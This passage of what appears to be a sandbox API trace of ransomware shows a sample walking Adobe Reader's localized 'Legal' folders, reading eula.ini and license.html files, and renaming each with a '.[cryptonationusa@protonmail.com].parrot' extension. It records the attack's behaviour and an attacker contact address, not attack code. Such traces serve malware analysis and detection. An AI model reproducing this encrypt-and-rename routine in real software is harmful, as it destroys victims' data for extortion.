10.0\\reader\\legal\\enu\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.286] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.287] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa835, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa835, lpOverlapped=0x0) returned 1 [0248.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.289] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.290] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.295] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.296] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.296] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.297] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.298] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a8, lpOverlapped=0x0) returned 1 [0248.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.299] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.305] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd60, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xcd60, lpOverlapped=0x0) returned 1 [0248.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.309] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.314] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.315] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.317] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x462, lpOverlapped=0x0) returned 1 [0248.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.318] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.323] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.325] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaedb, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xaedb, lpOverlapped=0x0) returned 1 [0248.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.327] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.331] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.331] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.332] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.332] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.332] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.332] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.332] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.334] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.335] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4d8, lpOverlapped=0x0) returned 1 [0248.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.336] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.341] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.343] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe94c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe94c, lpOverlapped=0x0) returned 1 [0248.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.345] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.349] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.350] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.350] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.350] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.350] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.350] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.352] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x470, lpOverlapped=0x0) returned 1 [0248.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.353] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.353] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.358] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.360] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc490, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc490, lpOverlapped=0x0) returned 1 [0248.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.361] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.366] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.366] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.366] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.366] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.366] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.366] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.366] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.367] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, 